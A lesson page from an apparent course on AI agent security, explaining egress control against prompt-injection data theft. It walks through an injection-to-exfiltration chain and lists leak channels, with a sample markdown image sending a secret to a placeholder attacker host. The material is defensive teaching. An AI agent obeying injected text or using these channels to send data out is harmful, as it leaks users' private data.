Egress control: the trifecta-breaker

Lesson 3 of 5 in Tool Scoping and Least Privilege: Making the Dangerous Thing Impossible.

The lethal trifecta — Willison, June 2025 — is the combination that turns injection into data theft: access to private data, exposure to untrusted content, and the ability to communicate externally. Meta’s Agents Rule of Two (31 October 2025) states the same geometry as a design constraint: until injection can be reliably detected and refused, an agent should satisfy no more than two of processes untrustworthy inputs, has access to sensitive systems or private data, can change state or communicate externally — within a single session.

Now look at which leg you can actually remove. Leg one is usually the job: the agent exists to work on your data. Leg two is usually unavoidable: emails, tickets, web pages, and tool results are why it is useful. Leg three is the one you can take away in infrastructure, without asking the model’s permission. That is why egress control is the standard trifecta-breaker.

An exfiltration chain meeting the egress wall

  1. Attacker plants text in a channel the agent reads

    A public issue, an inbound email, a shared document, a web page, a poisoned tool result. The attacker needs no account on your system and no click from your user.

  2. Agent ingests it as untrusted content

    Trifecta leg 2. In a RAG pipeline this can happen without the user ever seeing the document — retrieval is the delivery mechanism.

  3. Agent reads private data with its own permissions

    Trifecta leg 1. Aim Labs called this pattern LLM Scope Violation: untrusted input steering the model to attend to privileged data.

  4. Model emits an outbound action carrying the data

    The shapes vary: an HTTP request, a rendered image or link URL, an email, a pull request to a public repo, a webhook. All of them are egress.

  5. Egress proxy: destination on the allowlist?

    Enforced in infrastructure — the sandbox has no other route out. Deny by default; the model has no way to add an entry.

  6. Blocked, logged, alerted

    The run may fail, and that is the correct failure. A blocked exfil attempt is also your highest-signal detection: legitimate work rarely tries to POST to an unknown host.

  7. Allowed — data leaves

    What every incident in this lesson has in common. Note this branch also fires when the destination is allowlisted but attacker-controlled in effect — see CamoLeak below.

The hard part of egress control is not the proxy. It is enumerating the channels, because “sending data out” is far broader than an HTTP client inside a tool. Every one of the incidents below used a channel that its designers had not counted as network access.

Work the list below channel by channel for your own agent, and give each one an owner. An allowlist on the tool sandbox is worth very little if the chat UI will happily fetch a URL the model composed.

Outbound HTTP from tools and code execution

The obvious one, and the one people actually fix. Default-deny egress from the sandbox, route everything through a proxy with an allowlist of hosts (and, where it matters, paths and methods). Remember that a code-interpreter tool is an unbounded HTTP client: if the agent can run code with network access, your tool allowlist is advisory.

Rendered markdown — images, links, and previews

The channel that keeps producing zero- and one-click exfiltration. If the model can emit ![](https://attacker/?d=SECRET) and something fetches that URL — the chat client, a link unfurler, an email preview — the data has left, with no tool call in the trace. Mitigations: strip or refuse external image and link hosts in rendered output, proxy images through your own domain with no attacker-controlled path, or drop image rendering entirely.

Messaging and collaboration writes

Email sends, Slack posts, comments, and — the one teams forget — writes to public version control. Publishing a pull request to a public repository is egress with a permanent URL. Treat every “write somewhere other people can read” tool as an outbound channel and allowlist its destinations the same way (recipient domains, channel ids, repository visibility).

DNS, and other side channels

An agent that can resolve hostnames can smuggle data in the names it resolves, even with HTTP blocked. Same for anything that lets attacker-influenced strings reach a third party: analytics beacons, error-tracking payloads, screenshot uploads, verbose logs shipped to a SaaS vendor. Side channels are lower-bandwidth, not harmless — an API key fits in one hostname.

The agent’s own output to the user

If a compromised agent can persuade the human to paste a secret somewhere, that is exfiltration with a slower clock — OWASP files this under ASI09 Human-Agent Trust Exploitation. You cannot allowlist your way out of it; this is where output provenance in the UI (“this instruction came from a retrieved document”) and user education carry the weight.

Interactive checkpoint quiz (2 questions) — open this page in a browser to take it.